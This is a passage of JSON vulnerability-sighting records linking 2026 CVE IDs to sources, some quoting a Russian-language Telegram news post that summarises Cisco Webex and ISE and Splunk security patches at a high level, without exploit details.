\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ISE, CVE-2026-20147, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u0435\u0434\u0443\u0449\u0438\u0435 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, XSS, \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e Cisco \u043d\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u00ab\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430\u00bb Splunk, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 Splunk Enterprise, Cloud Platform \u0438 MCP Server, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432.\n\n\u0412 Splunk Enterprise and Cloud Platform \u0432\u0441\u043a\u0440\u044b\u0442\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-20204, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 RCE.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Splunk, \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0435\u0439 \u0432 \u044d\u0442\u043e\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435.\n\n\u0412 Splunk Enterprise \u0438 Cloud Platform \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0434\u0432\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 \u0438\u043b\u0438 \u0431\u0430\u0439\u0442, \u043d\u0435 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 UTF-8, \u0447\u0442\u043e \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u043e \u0438\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0432 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442, \u0430 \u0434\u0440\u0443\u0433\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438\u043b\u0438 \u0432\u044b\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c Splunk Enterprise \u0434\u043e 10.2.2, 10.0.5, 9.4.10, 9.3.11 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Splunk \u0435\u0449\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 CVE-2026-20205, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0443\u044e \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 MCP Server, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0442\u043e\u043a\u0435\u043d\u044b \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0431\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u043b\u0438\u0431\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0448\u0438\u0431\u043a\u0438 \u0431\u044b\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f MCP Server 1.0.3. \n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 Splunk Enterprise, Operator for Kubernetes Add-on, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 IT Service Intelligence (ITSI) \u0438 Universal Forwarder.\n\n\u0412 Splunk \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u044e\u0442 \u043e \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.", "creation_timestamp": "2026-04-16T15:20:07.000000Z"}, {"uuid": "37114726-f6a2-47b4-831b-b6203420e238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20806", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "00148fbf-8840-4f52-af02-5d33fba5f35d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20928", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "a569f50a-d090-4d23-8eb5-a0719422dac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20945", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "fd11b7cd-f060-4616-9bd4-4b322df402b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20930", "type": "seen", "source": "https://www.thezdi.com/blog/2026/4/14/the-april-2026-security-update-review", "content": "", "creation_timestamp": "2026-04-14T15:49:19.000000Z"}, {"uuid": "8bf0c18a-e82c-4e74-9abe-fa1779f1d808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20184", "type": "seen", "source": "https://t.me/true_secator/8110", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 Webex \u0438 Identity Services Engine (ISE).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 Webex, CVE-2026-20184, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044e \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 (SSO) \u0441 Control Hub \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c Webex.\n\nCisco \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 Webex, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0435\u0434\u0438\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 (SSO), \u00ab\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 SAML \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (IdP) \u0432 Control Hub.\n\n\u041a\u0440\u043e\u043c \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ISE, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2013 CVE-2026-20180 \u0438 CVE-2026-20186 \u2013 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0412 \u043e\u0434\u043d\u043e\u0443\u0437\u043b\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 Cisco ISE \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f DoS, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0441\u0435\u0442\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ISE, CVE-2026-20147, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u0432\u0435\u0434\u0443\u0449\u0438\u0435 \u043a \u0430\u0442\u0430\u043a\u0430\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438, XSS, \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0443\u0442\u0435\u0447\u043a\u0430\u043c \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0430\u0442\u0430\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434.\n\nCisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442 \u043e\u0431 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u041d\u043e \u0432\u0441\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c\u0441\u044f.\n\n\u041f\u043e\u043c\u0438\u043c\u043e Cisco \u043d\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u00ab\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430\u00bb Splunk, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 